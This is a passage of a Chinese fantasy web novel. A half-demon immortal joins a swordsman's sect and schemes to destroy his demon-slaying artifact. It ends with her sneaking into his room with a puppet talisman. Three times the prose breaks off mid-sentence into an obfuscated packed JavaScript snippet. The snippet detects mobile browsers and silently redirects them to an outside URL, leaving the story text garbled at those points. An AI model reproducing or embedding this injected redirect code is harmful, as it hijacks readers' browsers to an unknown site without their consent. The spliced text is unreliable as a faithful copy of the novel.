那渊清玉絜的剑修真人,正小心翼翼地擦拭着仙界奉为圣物的“绝妖杵”。 颜朝阙七百年前翻阅过古籍,万年前的仙界,人族与妖族并立,共掌九重天。 可仙人们为了一统仙界,竟利用神界遗物,联手铸出了神器绝妖杵。 妖仙们接二连三地陨灭,人丁凋零,最终于三千年前绝迹,只剩下未开智的蛮妖供人奴役压榨。 他们将无数小妖扔进炼丹炉中,制成碧清色的丹丸,用以“增进仙力”。 而他们自己的仙兽灵宠,则一个个当作宝贝似的,连摸上一摸都不可。 小妖与仙兽均无神智,仅是血统不同,便有了贵贱之分。 也直至那时,她才惊觉四位真君为何要她定时捉些妖族并遣送到九重天。 ……她的手上,竟也沾了同族的血。 自那以后,她拼死开辟极域空间,只为护下那些对人心险恶一无所知的小妖。 这整整三千年来,仙界仅诞生她一位妖仙。 她能躲过一劫,恐怕还是因为体内流着一半人族的血——她是个天道诞下的,半人半妖的怪物。 若非那日真君手握绝妖杵,逼得她受了四十九道碎骨鞭,她颜朝阙又岂能七百年来俯首称臣,死守极域,不敢违逆半分? 可这秦之游居然对她说,绝妖杵乃是他六百年前就认下的本命神器。 真是荒唐。 即便绝妖杵已经损毁大半,几乎只剩下一成神力,可还是让颜朝阙浑身难受。 她有仙魄护体,都尚且呼吸不畅。颜朝阙简直难以想象,若人间的妖族靠近了它,会落得怎样的下场。 ……兴许重伤都是轻的。 “你既知道这是何物,便知它嗜血好杀,邪气得很,绝非你区区一介凡人能够操纵。”颜朝阙语气急切,脸上是少有的严肃,“速速交给我,我自会想法子毁去。” 秦之游站在她的面前,垂眸凝视着她。 他的眸子似冰莲般寒气逼人,紧紧拧起的眉头昭示着主人心底的不悦。 这六百年来,自从绝妖杵问世,择他为主,他听了多少溢美之词。如今倒还是第一次听见有人骂它“邪气”。 神器与他相伴数百年,神识早就融为一体,怎么能不动怒。 若非绝妖杵并无异样,他差点以为颜朝阙也是个妖族了,还说什么一介凡人……简直不可理喻。 “颜朝阙,本座再说一遍,你莫要胡闹。”这一次,秦之游说得格外缓慢,可无人听不出他话语间几乎凝成实质的不耐。 颜朝阙不是轻言放弃之人,她并未被恐吓住,反倒冷哼一声,质问道:“敢问真人手上可沾过无辜妖族的血?” “妖族贪婪,该杀。” 高冷的真人沉默了几秒,惜字如金。 颜朝阙的眼睛里恨不得喷出火来。 无人知道她茕茕孑立于仙界,多么渴望能有同族相护。 可到了秦之游这里,他朱唇轻启,不过一息就判定了她们阖族生死,而他曾经又伤了多少妖族的性命? 颜朝阙如今修为低微,从秦之游手中抢绝妖杵无异于天方夜谭,可她绝不能放任此等魔物留在他的手里。 两人无声僵持了许久。 最终,颜朝阙想到一个缓兵之计,开口迂回道:“我入修仙一途不久,对于此物也只是道听途说,许是我搞错了,望真人勿怪。” “既然真人执意收我为徒,我愿入真人门下。”她刻意抬手抚了抚发髻,装作不经意地露出那截雪白的玉镯。 只要留在这里,定能徐徐图之。 他既做这不辨是非,滥杀无辜之人,她又何需心怀愧疚。 颜朝阙话音刚落,便感受到耳畔的呼吸有一刹那格外沉重。她撇过头望了眼,淮冷的脸上因为失望而几乎没了血色。 “你既是尨玉认定之主,自然该拜本座为师。”秦之游神色淡然道,这意思便是应了。 他以为颜朝阙脸上至少该有些欢喜,却听见她下一息脆生生道:“但我还有个不情之请——” “这星回峰上清清冷冷,望真人能收下淮冷与我作伴。” 罢了,还好,不是要继续抢他的神器。 秦之游发现自己竟然如此轻易就被一个小丫头牵动着心神。 半晌,他微不可闻地叹息一声道。 “本座允了。” 那伤痕累累的少年不可置信地抬起头来,眼眸比夜晚的启明星还要晶亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635181|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他跪在秦之游的面前,重重地磕了三个响头。 这一次,秦之游亲自把他扶了起来。 颜朝阙松了口,拜师仪式便在这间简陋的竹屋中即刻进行。 她滴血入玉牒的刹那,腕间沉寂许久的尨玉突然绽出一束强烈的金光。一个个古老的符咒从光中跃出,漂浮在空中,将这一片狭小之地染成了赤金的海。 那如白色棉花糖般的小狗,就在海浪之上悠然漫步。 秦之游和淮冷自然读不懂那些符咒,可颜朝阙只需一眼便可确定,此物确为仙界之物。 这昆墟派,绝没有她原先想的那样简单。 颜朝阙心念一动,符咒便朝她聚拢,而后尽数没入她的身体。她的额间霎时出现了如金莲般耀眼的花钿,许久才消散。 尨玉与她合二为一,她终于明白了它的作用。 不为形惑,洞察人心。 若修为到达一定程度,几乎可以知人心中所想。 秦之游刚饮下徒儿递来的两盏热茶,屋子里忽而飞来一张传讯符,颜朝阙虽听不到内容,可眼尖地看到右下角写着的“明琉”二字。 秦之游留下几盒上好的丹药给淮冷疗伤,便匆匆忙忙地走了出去。 颜朝阙也走出了他的竹屋。 少年不远不近地跟在她的身后,低着头,看不清楚脸上的神色。 “你……为何要帮我?”他的嗓音沙哑干涩,早已不复先前的桀骜,像一只犯了错而心生畏惧的小兽。 颜朝阙拉他进屋,按着他的双肩,让他坐在床榻之上,两人的距离不过几寸之遥。 她替他擦去脸上的污垢时便发觉,他的骨相极佳,假以时日,等他再长大些,定然也是个漂亮至极的美男子。 少年此刻显然很是局促,琥珀色的眸子慌乱地闪了闪,却并未反抗。 得偿所愿,便能乖顺至此,仿佛从前的张牙舞爪尽数是错觉。 她孤身一人,若要从秦之游的手里抢下神器,需要帮手。 但想要替这个孤苦的少年完成心愿也是真的。 但这不意味着他欲杀她之事可以就此揭过。 嘉禾在田,宜早溉之。 颜朝阙双手抱臂,往后退了一步,居高临下地问道:“那晚,你可是真的想杀我?” 她语气不善,颇有几分秋后算账的味道。 淮冷的脸上浮现出了难堪,他咬着唇,实诚地点了点头。 “可你那晚本可以干脆利落地要了我的命,却为何冒着惊醒我的风险,磨磨蹭蹭地绑下我的四肢?” “你下手时,有明显的犹豫,我说的可对?”颜朝阙俯身,桃花眼微微眯起,目光攫于少年脏兮兮的脸,不放过他的任何一丝表情。 淮冷的肩膀瑟缩了一下,欲言又止,不知该如何解释自己矛盾的行为。 他本懊悔和不齿着自己的懦弱,可到头来,竟是他的懦弱救了他一命。 “你尚未成为不择手段的至恶之人,便该堂堂正正、清清白白地好好活着。”颜朝阙放过了他,收敛起敌意,声音朗朗。 少年怔愣地望着她,心中隐秘的一角有些许震动。 这些年来,他一个无依无靠的孤儿,遭了多少辱骂和白眼。这还是第一次有人告诉他,要堂堂正正地去活。 他澄澈的眸中映着她的身影,双唇翕动,半晌后道:“知道了,师姐。” 颜朝阙还是第一次被叫师姐。 唔,这感觉也不赖嘛。 “你把刺收起来的模样很是讨喜嘛,看在你长得不错的份上,我就不与你计较了。” “今后你可要听话,我对你可是有救命之恩。” “……好。” “所以,现在把衣服脱了。”颜朝阙也坐到榻上,倚着床尾,挑眉一笑。 淮冷惊诧地瞪大了双眼,不敢相信自己听到的话。 什、什么? 11. 第十一章 “你一个男子扭扭捏捏地做什么?” 颜朝阙望着眼前磨磨蹭蹭,半晌手才摸上腰间的少年,不耐道。 一想到要将自己的身体展露在她的身前,淮冷的脸上迅速窜起一抹粉红。 没人比他更清楚自己的身体有多丑陋可怖。 他本该抗拒的,可在她盈盈的目光下,他竟说不出半个不字。这突如其来的亲昵,让他忍不住一阵羞臊,面颊酡红。 “要不等我伤好了,再、再给师姐看……”淮冷的舌头都差点打结。 熟悉的瓷瓶在他眼前晃了晃,几缕细小的风拂过他微垂的睫羽,他听见颜朝阙坦荡的声音,“我只是想替师弟上药而已。” “莫非你想歪了?”她紧接着道,语气中满是揶揄。 说罢,颜朝阙还使坏般地往他的身侧挪了不少,像是一只姿态慵懒却把猎物逼入角落的猫妖。 淮冷霎时松了口气,可因为她的靠近,浑身的不自然不仅没有消散,反倒加剧了几分。 他摒去心底那抹奇怪的情愫,深吸了一口气,将腰带扯松了些许,黑衣顺着他手上的力道褪至肩下。 见他咬着唇的纠结模样,颜朝阙索性自己上手,淮冷身子抖了抖,而后乖顺地闭上了双眼。 衣衫尽去,露出少年的上半身。 他瘦极了,锁骨与肩胛仿若耸立的山脊,躺在那算不得细腻的皮肤上。 一道道或深或浅的伤口结出暗红色的痂,在他的身躯上蜿蜒成了纵横交错的河谷。 他闯剑阵而留下的新伤尚未来得及好,此刻渗出细密的血珠,看起来触目惊心。 淮冷许是从未赤.裸着被人打量,他的身子僵直得好似一堵墙。 颜朝阙把疗伤药均匀的抹在他的伤处,少年一声不吭,任由她动作。 “不疼么?” 她忍不住问道,眉头蹙得比淮冷更紧,手上的力度又轻了三分。 颜朝阙不解,到底是什么样的执念,才能让一个人这样不爱惜自己的身体。 少年耳尖通红地摇了摇头。 他早就习惯了。 上一次有人给他上药,还是阿娘活着的时候。 那时他不过是轻轻磕破了膝盖,阿娘却抱着他温柔地哄了许久,还往他的嘴里塞了一颗蜜饯。 如今想来,已经像是百年前的事情了。 “好了。”半晌后,颜朝阙呼出了一口气。 淮冷下意识地赶忙穿上自己的黑衣,却被她拦了下来。 “你那衣服早就沾满了血迹,你若一直穿着,恐怕不利于伤口恢复。”颜朝阙朝东走了几步,从桌子上端起木盘,把日月峰的姐姐们替她新做的袍子取了过来。 十六岁的少年还未完全长开,身形和她差不了多少。 颜朝阙将衣物放在他的身侧,柔声道:“你先穿这件罢,就当是师姐送你的。” 淮冷蓦地抬起头,愣愣地望着她。 他不甚熟练地开口道:“多、多谢。” 颜朝阙放下药瓶,主动走向门外,尚未踏出竹屋,却听少年忽而忐忑地问道。 “师姐……你如此待我,是需要我去做些什么吗?” 这句话成功让她顿住了脚步。 从苦厄中挣扎着活过来的人,兴许要比旁人更加敏锐。也更加知道,有时候,许多东西都在暗中标好了筹码。 见她不回答,他眼眸中的光亮黯了几分,捏着瓷瓶的手指蜷了蜷。 屋外的冷风灌了进来,淮冷瑟缩着身子,低低地咳了两声。 “若是师姐日后有用得到我的地方,我愿助师姐一臂之力。” 他小小年纪,倒是懂得些人情世故。 颜朝阙回头冲他笑了笑,并未直接回应,“师弟好生歇息,旁的事情日后再说。” 她记得那日服下化形丹,气息刹那消散于人海,再加上遮容去息符,怎么也能躲上一阵。可谁承想不过短短一个时辰,就被秦之游和淮冷追了上来。 从他们二人的对话听来,应当是淮冷帮了他。 就连化神期的真人都做不到,一个小小金丹期修士,又是用了什么法子? 淮冷的身上一定藏着什么秘密。 颜朝阙不指望淮冷能抛下苦求来的师尊,彻底站在她这一边,帮她一起夺绝妖杵。 但他绝不能再成为他人手里的牌。 却说秦之游抛下两个新收的徒儿,独自离开星回峰,许久都不曾归来。颜朝阙便打开羊皮地图,将这昆墟派上下细细地端详了一番。 昆墟主脉绵延百里,主峰位于正中央,宫殿林立,地图上将它画得十分气派。 其余九峰如众星捧月般围绕在它的四周。 而这九峰中,又数排列第九的星回峰,最为陡峭险峻……地盘也是最小的。 地图上只一个孤零零的山头,用黑墨勾了两笔算作屋子,与那主峰比起来好不心酸。 颜朝阙的眼神继续扫下去,最终定在了昆墟派的最南边。 那里有一座描摹得栩栩如生的木塔,高耸入云,旁边的蝇头小楷写着“万经阁”。 第八重天上也有这么一座藏书楼,那里有真君亲封的仙将们把守,未许不得入。 三百年前,不知怎的飞进了一只厉害的虫妖,铁齿铜牙似的把书啃得稀烂。偏生它会高妙的隐身术法,把那些仙将们逗得束手无策。 颜朝阙这才有机会进其内一探。 就在她捉到虫妖时,它好巧不巧地停在那残缺的古籍上,薄薄一小片,却记载了仙界妖族们的历史。 混沌分,人妖生;天九重,世三分。 道已泯,贪欲升;神杵出,妖仙亡。 智未开,幸得存;灵火淬,兽成群。 自她诞生起,因为体内流着妖族才有的蓝血,仙人们便把她视为异类。 彼时的颜朝阙这才明白,原来这世上还曾经有她的族人,原来那克制她的绝妖杵,曾经害死过数千妖仙。 她疯了一般寻遍了藏书楼,除了这残卷上的“神杵”二字,再未寻到半点关于它的记载。 而那曾经辉煌过的妖仙们,也早就被人抹杀了姓名与痕迹。 绝妖杵出现在昆墟派,会是个巧合么?那可是神界的遗物,她不信真君们会轻易放手。 说不定这人间昆墟派的万经阁,或许会留下只字片语。 星回峰上的传送阵可以使修士一瞬抵达任意山头,颜朝阙心中默念着“万经楼”,斗转星移,眼前的画面果然变幻起来。 她刚落地,一个硕大的巴掌猝然迎面而来,却被颜朝阙的金刚罩挡了回去。 面前的男子痛呼一声,他的虎口被震得生疼,脸色立刻就阴沉下来。 “哪里来的野丫头,给小爷滚开。”他看见颜朝阙身上破破烂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635182|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂的衣裙,以为是哪个小喽啰不慎闯了进来,出言不逊道。 颜朝阙并未动怒,她身形丝毫未动,皮笑肉不笑地问道:“阁下又是哪里的人?” “瞧着人模人样,倒是惯会狺狺狂吠。” 许是还未被人这样忤逆过,那年轻男子气急了,脸涨成猪肝般的颜色,指着她的鼻子,却半晌说不出个所以然。 “你、你……你骂谁是狗呢?” 他身后的三五修士都低着头,敛声静气的,看起来似乎很怕受到牵连。 但颜朝阙瞧见他们极力憋笑,肩膀都在疯狂抖动。 颜朝阙对着男子不屑地嗤笑一声,她的肩头却被人小心翼翼地拍了两下。 她转头,瞧见一个瘦弱的小丫头,若是方才颜朝阙没有出现,那结结实实的一巴掌必然会落在她的身上。 那丫头有些畏惧地望着她,小声道:“他是二峰的大弟子何知,不是好惹的。” 颜朝阙给了她一个安抚性的眼神,知她一定是受了欺负,将她护在自己身后。 若是她没记错,二峰就是色.胚真人入尘所在的山头。果然上梁不正下梁歪,师父品行不端,他的首徒也是这般粗鄙蛮横之人。 “小爷我可是当朝左相的嫡长子,十二年前入尘真人收下的亲传弟子。”何知发怒,盛气凌人道,“瞧你这穷酸样,你是哪峰的洒扫婢子,我马上让长老把你扔下山去。” 他以为颜朝阙会面露畏惧,谁知她也不示弱,用同样鄙夷的目光扫了回去。 “仙门修行,讲的是资历,你入门十数年才堪堪筑基中期。” “若是你的左相父亲知道了,恐怕要捶胸顿足,恨不得把你塞回娘胎里再造一番。” 毕竟她的师弟淮冷,才不过十六岁,便已是金丹中期。 何知的修为,在年轻的凡人里着实不够她看了。 这句话无疑戳中了何知的痛点,可他压根就骂不过颜朝阙。 他面容扭曲起来,胸口剧烈起伏,差点没当场厥过去。 颜朝阙轻轻一笑,朱唇轻启,再补上一刀:“哦,对了,鄙人不才,也是真人座下首徒。” “说起来,你师父还得唤我师尊一声师兄呢。” 何知猛地瞪大双眼,论资历,这昆墟派上下符合她说的可只有一位。 “你、你是秦真人的徒弟?!”他不敢置信地问道。 颜朝阙老神在在,悠然地回望着他。 何知回头,粗鲁地抓住另一男修的衣襟,呵道:“她说的可是真的?为何我没听说此事?” 那男修面露难色,神器异动,秦真人去西山派收徒的事情早就传遍了昆墟。 只是那日师兄恰好下山去了。 他平日里无法无天,总是与师父一起借着回左相府的名头去喝花酒,留他们在山上苦修,对他们召之即来挥之即去,动辄打骂。 他们这些二峰普通弟子,早就心怀怨恨,躲着他还来不及,怎么会主动将这些讲与他听。 怨归怨,装归装。 男修露出一副十分惶恐的模样,摇头道:“师弟不知。” 何知昂起下巴,高声道:“谁人不知秦真人六百年来都未收徒,你肯定是个冒牌货。” 颜朝阙却没理她,她忽而扬起手臂,冲着不远处招手。 “师尊!” 何知听到她脆生生地喊了一句。 12. 第十二章 秦之游平素与别峰无甚往来,因此昆墟派的弟子们兴许一年都瞧不着他的一片衣角。 何知揉了揉自己的眼睛,而后眼睁睁看着他从万经阁的木阶上走下来,最终站在了那脏兮兮的丫头身前。 竟真是秦师伯,那风姿绝伦的模样,他绝不会认错。 何知与自己那显眼包师父没少挨骂,如今下意识地紧张起来,整个人恨不得缩成个鹌鹑。 秦真人却像是没看到他一般,径直走了过去。他面若冰玉,垂眸淡然望着颜朝阙,嗓音平静无波地问她。 “你不在星回峰待着,跑到这里来作甚?” 当然是为了寻法子毁掉你的本命神器。 虽然心中这样想,但颜朝阙又不傻,岂会不知好歹地说出来。 她眨了眨眼睛,搪塞的话张嘴就来:“还不是师尊撇下我与师弟二人,转眼就没了踪影。我想来此处碰碰运气,没想到真的找到了师尊。” 她外表看起来乖顺极了,与未拜师前简直判若两人,一口一个“师尊”叫得清脆又响亮。 见她双眸里映满了自己的身影,一种从未有过的奇异感受滑过秦之游的心头。 ……原来这就是做师父的感觉么。 “既如此,那便随本座一同回去罢。”秦之游面容未变,但语气比起方才来说显然温和了些许。 可颜朝阙却并未立即应下,她微微低头,轻咬着自己的下唇,一副很是为难的模样。 旁边的何知左眼皮狠狠跳了跳,心中有些不好的预感,身子忙往旁边挪了挪。 果然,他下一瞬就听见颜朝阙告状的声音:“这位入尘师叔的弟子,方才狠狠数落了我一番,还说我不配做师尊的弟子,要将我扔下山去。” 她语气凄楚哀婉,像是受了天大的委屈。 颜朝阙还拉上了身后的小姑娘,继续添油加醋:“方才他还要动手打我们呢。” 秦之游虽与颜朝阙相处不久,她又时常做些不着调的事情,但既收下她为徒,他便将她视为自己的人。 旁人若欺负到她的头上,他必不会轻饶。 “当真?” 他的目光移向何知,长久的身居高位,早就造就了那一身不怒自威的威压。 颜朝阙的话不能说是假的,何知一时难以反驳,僵着脖颈,眼珠子飞速转着想法子。 最终他想到了个蠢招,他把身后的男修拽到身前,双唇哆嗦道:“师伯,不、不是我,是他……” 他尚未说完,一道极强的灵力避过旁人,从侧面精准地击打在何知的身上,将他一下子掀翻了数丈远。 何知的屁股和腰磕在远处木阶的边缘上,痛得他吱哇乱叫。 他吓得鼻涕泡都出来了,哪里还有半点方才威风凛凛的模样。 “欺辱同门,贬损他人,还想将错处归在无辜之人的头上。”秦之游冷眼觑他,“自今日起,在青鸾峰闭门思过一月,一年内不得踏入万经阁。” 这个惩罚并不重,可对于何知这样不安分的人来说,简直比杀了他还难受。 “师伯,弟子知错了,您看在我师父的面子上……”何知捂着屁股走过来,连声求饶,想让他收回惩罚。 秦之游却连正眼都不再给他,似是嫌他聒噪,甩了甩袖子便将他轰到了高处的木阶上,示意他赶紧离开。 何知愤愤地往门外走,他回头的一刹,正好瞧见颜朝阙脸上毫不掩饰的笑意。 他这样惯会仗势欺人的人,也终究尝到了同样的滋味。 “还不走?”秦之游往前走了两步,却见颜朝阙身形未动,他皱眉问道。 “师尊,徒儿见此处藏书极为丰富,机会难得,不知可否阅览一二?徒儿修为低下,也想有所精进,才不丢了您的脸。”颜朝阙将话说得漂亮。 他秦之游的弟子,何须找那样低效的法子,他自能教她。 话已经到了嘴边,秦之游想了想,还是把它咽了回去。 《当好师尊的一百零一招》里面提及,要鼓励弟子勤勉学习,博览群书,修身养性。 唔,还是不要打消她的积极性了罢。 “好。”最终,他还是应了下来。 秦之游将一沓传送符递至她的手边,“此符可助你瞬息回峰。” 颜朝阙的眼睛亮了亮,这样她就不必去寻各个山头的传送阵了。 她从善如流地接过,嘴角轻扬,笑容清丽无双:“多谢师尊。” 秦之游盯着她唇侧浅浅的酒窝,不知怎的竟愣神了片刻。 他反应过来,忽而对自己生了几分恼怒。于是没有再说一字,便匆匆忙忙地离开了此处。 “小人是万经阁的书婢,不知阁下要找什么书,可以告诉我。”躲在颜朝阙身后的小姑娘突然开口,怯生生道。 真是天助她也。 “这里可有关于昆墟神器的记载?”颜朝阙凑到她的耳边,小声问道。 书婢点了点头,她往东南方向跑去,而后停在一座垂梯前,二话不说便闷头向上爬。 这里看起来是万经阁的地下,颜朝阙的头顶两丈高处开着一扇小门,方才秦之游就是将何知扔到那里去的。 她站在原地仰起头,终于瞧见了木塔内部的模样。 此塔约莫十层,一卷卷书册与木简将塔壁边的书架摆得满满当当,远远瞧去仿若漫天星子,汇成了纵向的银河。 除了不远处从大门处延伸而下的一小截台阶,塔的中央空空荡荡,再不见任何向上之路。 倒是塔壁上垂下一条条极长的木梯,直通塔顶,又横向将书架分成了无数个精妙的小格。 书婢正娴熟地攀爬着木梯,瘦弱的身姿穿梭在架子之间。 她已离地十丈有余,颜朝阙虽然知道她有筑基前期的修为,但仍旧免不了为她担忧。 颜朝阙紧紧跟在她的下面,生怕她一个不小心就从高空跌落下来。 她瞧见她从一格中抽出一卷,放到系在腰间的布袋中,而后迅速爬了下来。 那姑娘像是天生不善言辞,将方才取下的木简递来,却低着头不敢看她。 颜朝阙展开,其上墨迹模糊,应是有了些年头,只能勉强辨出字形。 「丁卯二月廿一,值昆墟立派百年,忽雷云蔽日,北风大号,灵兽异动。雷劫遽降,东南巨坎成。后又无色祥云,绵延千里。」 「掌门明琉遂得四宝,谓之绝妖、复生、千山、尨玉……」 六百年前天降雷劫,将四件神器遗落昆墟,可那时仙人二界早已相互隔绝。 天道这样做,究竟是为何? “不知还有没有别的记载?”颜朝阙轻声细语地问书婢道。 书婢点了点头,下一瞬又迅速摇头。 “万经阁中关于神器的记载,都与这本相似。”说罢,她飞快地瞥了一眼颜朝阙,像是在确认她有没有动怒。 这么说,岂不是寻不到彻底毁去绝妖杵的法子了? 虽然如今它已损毁大半,但保不准那天就被秦之游找到修复的办法。 彼时,她与妖族的性命,只怕又全都被捏在了旁人的手里。 颜朝阙心中着急,却也不会将怒火随意发泄到他人的身上。 她只是幽幽叹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635183|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,将木简递回去,温声道了句“多谢”。 正欲离开时,书婢蓦地开口叫住了她。 她似乎想说些什么,嘴唇翕动着欲言又止,却又不知道该如何措辞。颜朝阙并未着急,在一旁安静地等候。 “阁下救了我,我也该回报您才是。三日前,我无意中发现这竹简有几分古怪。” 她咬破自己的指尖,以血为媒,向竹简中注入了不少灵力,直至唇色都白了几分。 那小小破破的竹简忽而金光大作,升腾至空中,那已经干涸百年的墨迹中,突然飘出十余个金符,与寻常的文字仅有三分相似。 妖族古老的传承让颜朝阙一瞬就读懂了金符的含义。 「神器复生、千山、尨玉乃天地造化,永世不灭。」 「若绝妖杵之主甘愿交付,自损魂灵,则此杵易主;若神器合力食之,则此杵无存。」 书婢灵力有限,金光才撑了几息,就又消散无影,竹简也恢复如常,“啪嗒”一声掉在了地上。 颜朝阙的心也随着这碰撞声狠狠震了一下。 她终于找到了办法! 那双漂亮的桃花眼中泛起小小的水花,她猛地抱住小书婢,开心地笑了起来。 小书婢的下巴碰到她的肩头,被吓得一动也不敢动。 “多谢你,多谢你。”颜朝阙连声道。 小书婢羞红了脸,忙道不敢。她不过是昆墟派一个小小的奴婢,与眼前这位真人弟子身份可谓天壤之别。 按理,她发现玄机后合该第一时间告知掌门,可她受够了欺凌辱骂,不知为何生了几分叛逆的心思,将此事隐瞒了下来。 她先前犹豫,便是怕颜朝阙怪罪于她。 “此事你可曾告诉过旁人?”颜朝阙脑海中无数个念头飞快闪过,开始为下一步筹谋。 书婢摇了摇头,她的肩膀因为恐惧而瑟缩了一下。 “对、对不起,小人没有及时禀告掌门,求您饶恕……”她跪在地上,声音颤抖道。 她的反应太过激烈,让颜朝阙心下一惊。她虽想到她的处境艰难,却未曾想过已经到了如此草木皆兵的地步。 颜朝阙蹲下身子,伸手摸了摸她毛茸茸的脑袋。小书婢愣愣地抬起头,惊慌不安的目光让人好不怜惜。 “你做得很好,我感谢你都尚且来不及,岂会怪你。”颜朝阙的声音温柔似水,像是在哄还未长大的小妖,“我还要麻烦你再帮我多瞒些时日。” 她将书婢扶了起来,而后将片刻前秦之游给的传送符,塞进了她腰间的布袋中。 “若是今后有人再欺负你,你就来星回峰寻我。我是秦真人的弟子,有我替你撑腰,普通的弟子不敢为难你。” “何知一年都进不了此处,你且等我一年,一年后,我带你离开昆墟。” 颜朝阙话语间没有半分犹豫,坚定如石,那自信的神色有着十足的感染力。 等一年后,她定会成为这人间的强者,做成她心中所想,护下她想护之人。 书婢从小在万经阁中长大,不过是个寻书的奴隶罢了,这还是头一次有昆墟派的弟子将她当人看。 她不自觉红了眼眶,心里胀鼓鼓的。 “对了,你叫什么名字?”颜朝阙和善地问道。 已经许多年,没有人问过她这个问题了,书婢因为害臊而满脸通红,不甚熟练地小声道:“韩黛。” 彼时的她们都不知—— 两百年后,扬名天下、万人称颂的仙门第一药宗。 掌门之名亦唤作韩黛。 「叮咚,宿主魅力值+10。」 13. 第十三章 那冷不丁的提示音吓了颜朝阙一跳,她低头看了眼自己,没有任何的变化。 “系统,这魅力值是何物?”她蹙眉问道。 “魅者,惑人心神,令人心生欲念也。这魅力值,是宿主对旁人引力,亦可视作受到喜爱的总和。” 系统倒没有遮掩,爽快地解释了一番。横竖它的任务,是控制颜朝阙的欲念,至于其他人是否喜欢宿主,它并不在意。 颜朝阙听罢,眼前一亮,她忽然想起之前从系统处看到的数字—— 她在仙界时,魅力值竟有100000。 这绝不可能来自于那帮迂腐的老头……没想到极域的小妖和侍从们,居然这么喜欢她。 颜朝阙想起那帮毛茸茸的手下,忽而有几分想家,她吸了吸鼻子,闭上自己酸酸胀胀的双眸。 这副难得一见的脆弱模样,倒是让系统有些惊诧。 它看到颜朝阙的脑海中闪过极域的模样,便用自己冰冷的头脑去揣度颜朝阙,以为是这10点魅力值让她想起往事。 于是系统自信开口安慰道:“宿主若是不喜,本系统可替宿主再次清零。” 颜朝阙:……滚啊。 “甘愿交付,自损魂灵……”颜朝阙出了万经阁,边朝外走,边琢磨着方才看见毁去绝妖杵的法子。 她无意识地攥紧了手中黄底赤字的传送符。 等等,符咒? 颜朝阙脑海中灵光乍现,她忙把那平平无奇、皱皱巴巴的传送符收好,而后翻找起秦之游给她的储物袋。 她记得她将前日顺来的符纸放了进去,它们由千年楮树制作而成,是不可多得的宝贝。 若她能在上面画出傀儡符,便能操纵秦之游,将绝妖杵自愿交给她了! 主意已定,颜朝阙的心狂跳起来。 她腕间的尨玉似是感受到了她澎湃的心情,微微发出莹绿的光,在颜朝阙尚未察觉之时,一点点吞食着她的情绪。 几息过后,颜朝阙冷静下来,她忽而想到另外四个也极为重要的字—— “自损魂灵”。 “系统,若绝妖杵易主,秦之游会怎么样?”残留在胸腔中的喜悦消失殆尽,颜朝阙询问道。 仅凭他待徒弟的几分真诚,非必要时,她不愿伤他。 系统冷哼一声,莫名有几分阴阳怪气道:“宿主不是已经知道魂灵会受损了么?” “具体来说,你师尊与神器的魂契若破,定会反噬三分,轻则昏睡数日,重则修为倒退百年。” 颜朝阙从它起伏不大的话语中听出了鄙夷,或许它想用这种方法唤醒她的良知,让她放弃计划。 谁料颜朝阙眼神一转,犀利如刀,轻呵一声,语气不善地吐出几个字。 “你果然知道。” 早在看见绝妖杵的那一刹,她便质问过系统,可它三缄其口,一副事不关己的模样。 如今却知反噬三分、修为倒退之事,那今日上午便是刻意隐瞒。 它与仙界,究竟在谋划些什么? 系统没想到自己露了馅,顿时安静如鸡,缩在虚空之中装作已经消失。 颜朝阙盯着那质地绝佳的符纸半晌,最终还是下定了决心。 无论如何,她都不能再让任何妖族死于魔杵之下,无论是她,还是其他的普通小妖。 若秦之游真的受了伤,她自然会当好一个乖徒儿,每日尽心尽力地伺候他,任凭他发落。 是夜丑时,星回峰上万籁俱寂。 颜朝阙将竹屋让给了身负重伤的淮冷住,自己则躺到了树间的吊床上。 天幕无星,漆黑一片,宛若一双眼睛沉沉地盯着大地,一点儿也不浪漫。 身下的绳索粗糙极了,磨得她后背生疼。 颜朝阙轻轻跳下吊床,落地像猫儿般无声,她熟练地弯着腰走到秦之游的窗下。 在耐着性子等了足足三个时辰后,她终于听到秦之游的房间里传来均匀绵长的呼吸声。她推开房门,蹑手蹑脚地走了进去。 傀儡符被她紧紧捏在食指与中指之间,举至胸前,静待一个合适的时机。 房间内连照明的灵石都没有,伸手不见五指,幸好颜朝阙异于寻常人,即使深夜也炳如观火。 她转过身来,差点被吓得肝胆欲裂。 那原本应当酣然而睡的真人,竟然端端正正地坐在床榻上,睁着一双墨玉般的眸子,仿佛在看着她的一举一动。 与他“对视”了几息,颜朝阙终于发现了不对劲。 秦之游的脸上既无惊诧,也无震怒,确切地说是没有任何表情。 连那浓密漂亮的睫毛都不曾有一丝一毫的颤动。 若非他胸口仍有轻微的起伏,颜朝阙差点以为他遭到了暗杀。 